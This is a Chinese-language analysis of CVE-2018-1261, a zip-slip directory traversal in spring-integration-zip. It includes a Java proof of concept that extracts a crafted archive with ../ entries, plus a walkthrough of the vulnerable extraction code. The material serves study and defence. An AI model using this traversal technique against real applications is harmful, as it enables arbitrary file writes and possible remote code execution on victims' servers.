Spring Integration Zip不安全解压(CVE-2018-1261)漏洞分析

1. 漏洞相关信息

漏洞名称:Spring Integration Zip不安全解压

漏洞编号:CVE-2018-1261

漏洞描述:在spring-integration-zip.v1.0.1.RELEASE之前的版本中,恶意用户通过在压缩文件中构造包含有特定文件名称的文件(受影响文件格式有bzip2, tar, xz, war, cpio, 7z),应用程序使用spring-integration-zip进行解压时,会导致跨目录任意写入文件漏洞的攻击。进而有可能被Getshell,远程控制。

漏洞原理:攻击者可以通过构造一个包含名称带../前缀的文件的压缩包,在spring-integration-zip进行解压时文件跳出解压文件的目录限制,创建文件

漏洞利用前置条件

1.使用了spring-integration-zip库

2.接收并解压了来自不可信来源的压缩文件

2. 环境搭建

2.1 Libraries:

3. 漏洞复现

3.1 恶意压缩包文件内容


3.2 测试代码如下

unZipTransformer.setWorkDirectory(path);设置了解压文件的路径,CVE-2018-1261目录下会生成good.txt文件,而eval文件就会逃出限制,在根目录生成文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import org.springframework.core.io.DefaultResourceLoader;
import org.springframework.core.io.Resource;
import org.springframework.core.io.ResourceLoader;
import org.springframework.integration.support.MessageBuilder;
import org.springframework.integration.zip.transformer.UnZipTransformer;
import org.springframework.messaging.Message;

import java.io.File;
import java.io.InputStream;

public class Main {
private static ResourceLoader resourceLoader = new DefaultResourceLoader();
private static File path = new File("./CVE-2018-1261/");
public static void main(final String... args) {
final Resource evilResource = resourceLoader.getResource("classpath:zip-malicious-traversal.zip");
try{
InputStream evilIS = evilResource.getInputStream();
Message<InputStream> evilMessage = MessageBuilder.withPayload(evilIS).build();
UnZipTransformer unZipTransformer = new UnZipTransformer();
//设置解压文件的目录为CVE-2018-1261
unZipTransformer.setWorkDirectory(path);
unZipTransformer.afterPropertiesSet();
//漏洞入口点
unZipTransformer.transform(evilMessage);
}catch (Exception e){
System.out.println(e);
}
}
}

示例中的UnZipTransformer.transform()会调用doZipTransform()来处理压缩包,

在遍历压缩包内目录及文件时,回调ZipEntryCallback中的process()对其进行处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ZipUtil.iterate(inputStream, new ZipEntryCallback() {
@Override
public void process(InputStream zipEntryInputStream, ZipEntry zipEntry) throws IOException {

final String zipEntryName = zipEntry.getName();
...
if (ZipResultType.FILE.equals(zipResultType)) {
final File tempDir = new File(workDirectory, message.getHeaders().getId().toString());
tempDir.mkdirs(); //NOSONAR false positive
final File destinationFile = new File(tempDir, zipEntryName);

if (zipEntry.isDirectory()) { ... }
else {
SpringZipUtils.copy(zipEntryInputStream, destinationFile);
uncompressedData.put(zipEntryName, destinationFile);
}
}
...
}

../../../那一串是通过zipEntry.getName()得到的

final File destinationFile = new File(tempDir, zipEntryName);确定解压目录

接着就是调用copy

获取传过来的输入数据以及从文件系统中的某个文件中获得输入字节,把数据写到destinationFile处

要在根目录下创建tmp文件夹

4. 参考链接